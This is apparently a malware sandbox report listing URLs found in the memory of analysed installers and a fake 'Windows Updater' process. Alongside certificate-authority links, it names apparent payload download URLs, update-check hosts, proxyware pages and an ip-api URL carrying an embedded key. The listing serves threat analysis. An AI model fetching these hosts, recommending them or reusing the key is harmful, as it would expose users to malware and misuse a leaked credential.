Source: a1.exe, 00000014.00000003.2316716305.0000000004329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.defence.gov.au/pki0
Source: a0.tmp, 00000007.00000003.2226960209.0000000005842000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2453151386.0000000006ED0000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2316303508.00000000043CF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2314508919.00000000043BF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2310319349.0000000005C55000.00000004.00001000.00020000.00000000.sdmp, Windows Updater.exe, 0000001C.00000002.2536551108.0000000001C00000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2547912168.0000000000F93000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2534296256.0000000000F93000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2534256836.0000000000FDA000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2547801636.0000000000FD9000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000002.2922284466.0000000000FDC000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2547801636.0000000000FE5000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.0000000002830000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.000000000290E000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2648983734.00000000032B6000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.0000000002B49000.00000004.00001000.00020000.00000000.sdmp, MSI5D6E.tmp.21.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: Windows Updater.exe, 0000001F.00000003.2547912168.0000000000F93000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2547801636.0000000000FD9000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2547801636.0000000000FE5000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2648983734.00000000032B6000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.0000000002B49000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: a1.exe, 00000014.00000003.2316491925.000000000435E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.disig.sk/ca/crl/ca_disig.crl0
Source: a1.exe, 00000014.00000003.2316491925.000000000435E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.disig.sk/ca0f
Source: a1.exe, 00000014.00000003.2317333312.00000000043F1000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2318044040.0000000004404000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.dnie.es/dpc0
Source: a1.exe, 00000014.00000003.2316445533.000000000436D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.e-me.lv/repository0
Source: a1.exe, 00000014.00000003.2316491925.000000000435E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.e-szigno.hu/RootCA.crl
Source: a1.exe, 00000014.00000003.2316491925.000000000435E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.e-szigno.hu/RootCA.crt0
Source: a1.exe, 00000014.00000003.2316491925.000000000435E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.e-szigno.hu/SZSZ/0
Source: a1.exe, 00000014.00000003.2316445533.000000000436D000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2317121482.000000000440A000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2316716305.0000000004329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.e-trust.be/CPS/QNcerts
Source: a1.exe, 00000014.00000003.2316597553.0000000004345000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.ecee.gov.pt/dpc0
Source: a1.exe, 00000014.00000003.2317333312.00000000043F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.echoworx.com/ca/root2/cps.pdf0
Source: a1.exe, 00000014.00000003.2317333312.00000000043F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.eme.lv/repository0
Source: a1.exe, 00000014.00000003.2317121482.000000000440A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.firmaprofesional.com/cps0
Source: a1.exe, 00000014.00000003.2316597553.0000000004345000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.globaltrust.info0
Source: a1.exe, 00000014.00000003.2316597553.0000000004345000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.globaltrust.info0=
Source: a1.exe, 00000014.00000003.2316597553.0000000004345000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.ica.co.il/repository/cps/PersonalID_Practice_Statement.pdf0
Source: a1.exe, 00000014.00000003.2316491925.000000000435E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.informatik.admin.ch/PKI/links/CPS_2_16_756_1_17_3_1_0.pdf0
Source: a1.exe, 00000014.00000003.2487451231.0000000005D4F000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2486235644.0000000005D42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.co
Source: wmiprvse.exe, 0000000E.00000002.4554414336.00000000111E2000.00000004.00000001.01000000.00000012.sdmp	String found in binary or memory: http://www.netsupportschool.com/tutor-assistant.asp
Source: wmiprvse.exe, 0000000E.00000002.4554414336.00000000111E2000.00000004.00000001.01000000.00000012.sdmp	String found in binary or memory: http://www.netsupportschool.com/tutor-assistant.asp11(L
Source: a1.exe, 00000014.00000003.2316597553.0000000004345000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.oaticerts.com/repository.
Source: wmiprvse.exe, 0000000E.00000002.4554414336.00000000111E2000.00000004.00000001.01000000.00000012.sdmp	String found in binary or memory: http://www.pci.co.uk/support
Source: wmiprvse.exe, 0000000E.00000002.4554414336.00000000111E2000.00000004.00000001.01000000.00000012.sdmp	String found in binary or memory: http://www.pci.co.uk/supportsupport
Source: a1.exe, 00000014.00000003.2317121482.000000000440A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.pki.admin.ch/cps/CPS_2_16_756_1_17_3_1_0.pdf09
Source: a1.exe, 00000014.00000003.2317333312.00000000043F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.pki.admin.ch/cps/CPS_2_16_756_1_17_3_21_1.pdf0:
Source: a1.exe, 00000014.00000003.2316716305.0000000004329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.pki.admin.ch/policy/CPS_2_16_756_1_17_3_21_1.pdf0
Source: a1.exe, 00000014.00000003.2317121482.000000000440A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.pki.gva.es/cps0
Source: a1.exe, 00000014.00000003.2317121482.000000000440A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.pki.gva.es/cps0%
Source: a1.exe, 00000014.00000003.2316716305.000000000433F000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2316642450.000000000433C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.pkioverheid.nl/policies/root-policy-G20
Source: a1.exe, 00000014.00000003.2316445533.000000000436D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.pkioverheid.nl/policies/root-policy0
Source: a1.exe, 00000014.00000003.2317121482.000000000440A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.postsignum.cz/crl/psrootqca2.crl02
Source: a1.exe, 00000014.00000003.2317424410.00000000043E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadis.bm0
Source: a1.exe, 00000014.00000003.2316445533.000000000436D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadisglobal.com/cps0
Source: a1.exe, 00000014.00000003.2317121482.000000000440A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.rcsc.lt/repository0
Source: a1.exe, 00000014.00000003.2316597553.0000000004345000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sk.ee/cps/0
Source: a1.exe, 00000014.00000003.2316597553.0000000004345000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sk.ee/juur/crl/0
Source: a1.exe, 00000014.00000003.2316597553.0000000004345000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2316716305.000000000433F000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2316642450.000000000433C000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2316491925.000000000435E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.ssc.lt/cps03
Source: a1.exe, 00000014.00000003.2317424410.00000000043E7000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2316597553.0000000004345000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.suscerte.gob.ve/dpc0
Source: a1.exe, 00000014.00000003.2317424410.00000000043E7000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2316597553.0000000004345000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.suscerte.gob.ve/lcr0#
Source: setup.tmp, 00000004.00000002.4546268057.0000000000804000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4550600836.000000000259F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4557910495.000000000596F000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4557910495.0000000005976000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2112076757.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.thedownloadplanet.com/termsofuse
Source: a1.exe, 00000014.00000003.2316716305.0000000004329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.trustcenter.de/crl/v2/tc_class_3_ca_II.crl
Source: a1.exe, 00000014.00000003.2316716305.0000000004329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.uce.gub.uy/acrn/acrn.crl0
Source: a1.exe, 00000014.00000003.2316716305.0000000004329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.uce.gub.uy/informacion-tecnica/politicas/cp_acrn.pdf0G
Source: a1.exe, 00000014.00000003.2317121482.000000000440A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www2.postsignum.cz/crl/psrootqca2.crl01
Source: setup.tmp, 00000004.00000002.4546268057.0000000000804000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4550600836.000000000259F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4557910495.000000000596F000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4557910495.0000000005976000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2112076757.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://advancedmanager.io/eula
Source: setup.tmp, 00000004.00000002.4546268057.0000000000804000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4550600836.000000000259F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4557910495.000000000596F000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2112076757.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://advancedmanager.io/privacy-policy
Source: Windows Updater.exe, 0000001C.00000002.2534661329.00000000005F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://allroadslimit.com/
Source: Windows Updater.exe, 0000001C.00000002.2534661329.00000000005F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://allroadslimit.com/N
Source: MSI80A7.tmp.21.dr	String found in binary or memory: https://allroadslimit.com/updates.txt
Source: Windows Updater.exe, 0000001C.00000002.2534661329.00000000005F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://allroadslimit.com/updates.txtByY
Source: a1.exe, 00000014.00000003.2312873578.00000000043CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://allroadslimit.com/updates.txtL
Source: Windows Updater.exe, 0000001C.00000002.2534661329.00000000005E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://allroadslimit.com/updates.txtMa
Source: a1.exe, 00000014.00000003.2453233427.00000000043AF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2452995698.00000000043AF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000002.2490078506.00000000043AE000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2485911641.00000000043AE000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2353089785.00000000043AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://allroadslimit.com/updates.txtX
Source: Windows Updater.exe, 0000001C.00000002.2534661329.00000000005F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://allroadslimit.com/updates.txtfy%
Source: chromecache_658.19.dr	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/logo/
Source: a0.exe, 00000005.00000003.2247159596.000000000243D000.00000004.00001000.00020000.00000000.sdmp, a0.exe, 00000005.00000003.2190187484.0000000002650000.00000004.00001000.00020000.00000000.sdmp, a0.tmp, 00000007.00000003.2232917333.00000000036FB000.00000004.00001000.00020000.00000000.sdmp, a0.tmp, 00000007.00000003.2232917333.000000000373B000.00000004.00001000.00020000.00000000.sdmp, a0.tmp, 00000007.00000003.2234120014.00000000024EC000.00000004.00001000.00020000.00000000.sdmp, a0.tmp, 00000007.00000003.2234120014.000000000249C000.00000004.00001000.00020000.00000000.sdmp, a0.tmp, 00000007.00000003.2234120014.00000000024E5000.00000004.00001000.00020000.00000000.sdmp, a0.tmp, 00000007.00000003.2195514724.0000000003490000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://axsboe-campaign.com/pixel?pmhzmq=fhoohvpn6e7i
Source: a1.exe, a1.exe, 00000014.00000003.2487171415.0000000004382000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2310319349.0000000005AC0000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2486195028.000000000437E000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmp, a1.exe, 00000014.00000002.2489984022.0000000004382000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000020.00000002.2754964724.000000006A0DC000.00000002.00000001.01000000.00000024.sdmp, v113.exe, 00000020.00000003.2560788358.000000000290E000.00000004.00001000.00020000.00000000.sdmp, MSIB1F8.tmp.21.dr, MSI12C7.tmp.21.dr	String found in binary or memory: https://collect.installeranalytics.com
Source: a1.exe, 00000014.00000002.2489922583.0000000004348000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2487272029.000000000433D000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2487407898.0000000004345000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2486296191.000000000433D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://collect.installeranalytics.com/
Source: a1.exe, 00000014.00000002.2489922583.0000000004348000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2487272029.000000000433D000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2487407898.0000000004345000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2486296191.000000000433D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://collect.installeranalytics.com/c
Source: a1.exe, 00000014.00000002.2489922583.0000000004348000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2487272029.000000000433D000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2487407898.0000000004345000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2486296191.000000000433D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://collect.installeranalytics.com/r
Source: a1.exe, 00000014.00000003.2310319349.0000000005AC0000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmp, v113.exe, 00000020.00000002.2754964724.000000006A0DC000.00000002.00000001.01000000.00000024.sdmp, v113.exe, 00000020.00000003.2560788358.000000000290E000.00000004.00001000.00020000.00000000.sdmp, MSIB1F8.tmp.21.dr, MSI12C7.tmp.21.dr	String found in binary or memory: https://collect.installeranalytics.comhttp://collect.installeranalytics.comhttps://installeranalytic
Source: a1.exe, 00000014.00000003.2317333312.00000000043F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crl.anf.es/AC/ANFServerCA.crl0
Source: setup.exe, 00000003.00000003.2106854076.00000000026A0000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000002.4546460668.00000000023C9000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4550600836.000000000259F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4555610493.000000000391B000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2112076757.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://d157kf58cz5ccb.cloudfront.net/dcc.exe
Source: setup.exe, 00000003.00000003.2106854076.00000000026A0000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000002.4546460668.00000000023C9000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4546268057.0000000000804000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4550600836.000000000259F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4557910495.000000000596F000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2112076757.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://digitalpulsedata.com/tos
Source: Windows Updater.exe, 0000001F.00000003.2548000487.0000000000F9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dl.likeasurfer.com/
Source: Windows Updater.exe, 0000001F.00000002.2922284466.0000000000F46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dl.likeasurfer.com//
Source: Windows Updater.exe, 0000001F.00000002.2922284466.0000000000F46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dl.likeasurfer.com/7
Source: Windows Updater.exe, 0000001C.00000002.2534661329.0000000000664000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001C.00000003.2477945437.0000000000660000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2495094985.00000000017D0000.00000004.00000800.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2547912168.0000000000F93000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2548000487.0000000000F9D000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000002.2922284466.0000000000F5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dl.likeasurfer.com/updates/v113.exe
Source: Windows Updater.exe, 0000001F.00000003.2547912168.0000000000F93000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2548000487.0000000000F9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dl.likeasurfer.com/updates/v113.exe&
Source: Windows Updater.exe, 0000001C.00000002.2534661329.0000000000664000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dl.likeasurfer.com/updates/v113.exeManager
Source: Windows Updater.exe, 0000001C.00000003.2486073530.0000000001D00000.00000004.00000800.00020000.00000000.sdmp, Windows Updater.exe, 0000001C.00000003.2480891786.0000000001C00000.00000004.00000800.00020000.00000000.sdmp, Windows Updater.exe, 0000001C.00000003.2477926232.000000000069C000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001C.00000003.2487349535.0000000001D00000.00000004.00000800.00020000.00000000.sdmp, Windows Updater.exe, 0000001C.00000003.2487619359.0000000001D00000.00000004.00000800.00020000.00000000.sdmp, Windows Updater.exe, 0000001C.00000003.2487867019.0000000001D00000.00000004.00000800.00020000.00000000.sdmp, Windows Updater.exe, 0000001C.00000003.2487502344.0000000001D00000.00000004.00000800.00020000.00000000.sdmp, Windows Updater.exe, 0000001C.00000002.2534661329.000000000064D000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001C.00000002.2534661329.0000000000660000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001C.00000003.2484824285.0000000001D00000.00000004.00000800.00020000.00000000.sdmp, Windows Updater.exe, 0000001C.00000003.2488325932.0000000001D00000.00000004.00000800.00020000.00000000.sdmp, Windows Updater.exe, 0000001C.00000003.2488494506.0000000001D00000.00000004.00000800.00020000.00000000.sdmp, Windows Updater.exe, 0000001C.00000003.2484917162.0000000001D00000.00000004.00000800.00020000.00000000.sdmp, Windows Updater.exe, 0000001C.00000003.2486261492.0000000001D00000.00000004.00000800.00020000.00000000.sdmp, Windows Updater.exe, 0000001C.00000003.2488387424.0000000001D00000.00000004.00000800.00020000.00000000.sdmp, Windows Updater.exe, 0000001C.00000003.2488013680.0000000001D00000.00000004.00000800.00020000.00000000.sdmp, Windows Updater.exe, 0000001C.00000003.2488554384.0000000001D00000.00000004.00000800.00020000.00000000.sdmp, Windows Updater.exe, 0000001C.00000003.2488224412.0000000001D00000.00000004.00000800.00020000.00000000.sdmp, Windows Updater.exe, 0000001C.00000003.2488134876.0000000001D00000.00000004.00000800.00020000.00000000.sdmp, Windows Updater.exe, 0000001C.00000003.2488073358.0000000001D00000.00000004.00000800.00020000.00000000.sdmp, Windows Updater.exe, 0000001C.00000003.2487749710.0000000001D00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dl.likeasurfer.com/updates/v114.exe
Source: Windows Updater.exe, 0000001F.00000002.2922284466.0000000000F5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dl.likeasurfer.com/updates/v114.exe&
Source: Windows Updater.exe, 0000001F.00000002.2922284466.0000000000F5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dl.likeasurfer.com/updates/v114.exef
Source: Windows Updater.exe, 0000001C.00000002.2534661329.0000000000664000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dl.likeasurfer.com/updates/v114.exes
Source: setup.tmp, 00000004.00000002.4546268057.0000000000857000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4546268057.0000000000819000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://false.apparelsilver.xyz/
Source: setup.exe, 00000003.00000003.2106854076.00000000026A0000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000002.4546460668.00000000023C9000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4550600836.000000000259F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4555610493.000000000391B000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4546268057.0000000000819000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4557910495.0000000005948000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4546268057.00000000007A8000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2112076757.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://false.apparelsilver.xyz/ss.php?a=3890&cc=US&t=1701869569
Source: setup.tmp, 00000004.00000002.4546268057.0000000000819000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://false.apparelsilver.xyz/ss.php?a=3890&cc=US&t=17018695697
Source: setup.tmp, 00000004.00000002.4546268057.00000000007A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://false.apparelsilver.xyz/ss.php?a=3890&cc=US&t=1701869569GDc
Source: setup.tmp, 00000004.00000002.4546268057.0000000000857000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://false.apparelsilver.xyz/ss.php?a=3890&cc=US&t=1701869569c
Source: setup.exe, 00000003.00000003.2106854076.00000000026A0000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000002.4546460668.00000000023C9000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4550600836.000000000259F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4555610493.000000000391B000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2112076757.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://finers.s3.amazonaws.com/wsclient-installer-1.25.win.04.exe
Source: MSI80A7.tmp.21.dr	String found in binary or memory: https://happybrewfriends.com/updates.txt
Source: Windows Updater.exe, 0000001C.00000002.2534661329.00000000005F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://happybrewfriends.com/updates.txtP
Source: Windows Updater.exe, 0000001F.00000002.2922284466.0000000000F27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://happybrewfriends.com/updates.txtager
Source: a1.exe	String found in binary or memory: https://installeranalytics.com
Source: ZmWSzgevgt.exe	String found in binary or memory: https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU
Source: setup.exe, 00000003.00000003.2106854076.00000000026A0000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000002.4546460668.00000000023C9000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4546268057.0000000000804000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4550600836.000000000259F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4557910495.000000000596F000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4557910495.0000000005976000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2112076757.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://legal.opera.com/eula/computers/
Source: setup.exe, 00000003.00000003.2106854076.00000000026A0000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000002.4546460668.00000000023C9000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4546268057.0000000000804000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4550600836.000000000259F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4557910495.000000000596F000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2112076757.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://legal.opera.com/privacy/
Source: MSI80A7.tmp.21.dr	String found in binary or memory: https://microleaves.com/privacy-policy
Source: a1.exe, 00000014.00000003.2312873578.00000000043CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://microleaves.com/privacy-policyc
Source: MSI80A7.tmp.21.dr	String found in binary or memory: https://microleaves.com/terms-and-conditions
Source: a1.exe, 00000014.00000003.2353089785.000000000438F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://microleaves.com/terms-and-conditionsK
Source: a1.exe, 00000014.00000003.2317424410.00000000043E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ocsp.quovadisoffshore.com0
Source: a1.exe, a1.exe, 00000014.00000003.2452995698.000000000435A000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2313068197.00000000043B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pro.ip-api.com/json?key=IQgnKO7n5Bmojup
Source: a1.exe, 00000014.00000003.2452995698.000000000435A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pro.ip-api.com/json?key=IQgnKO7n5Bmojup8bX
Source: a1.exe, 00000014.00000003.2310319349.0000000005920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://pro.ip-api.com/json?key=IQgnKO7n5BmojupButtonText_Finish&FinishManufacturerAW
Source: a1.exe, 00000014.00000003.2487171415.0000000004382000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2486195028.000000000437E000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2452995698.000000000435A000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000002.2489984022.0000000004382000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pro.ip-api.com/json?key=IQgnKO7n5BmojupSc
Source: a1.exe, 00000014.00000003.2453233427.00000000043AF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2452995698.00000000043AF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000002.2490078506.00000000043AE000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2485911641.00000000043AE000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2353089785.00000000043AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pro.ip-api.com/json?key=IQgnKO7n5Bmojupb
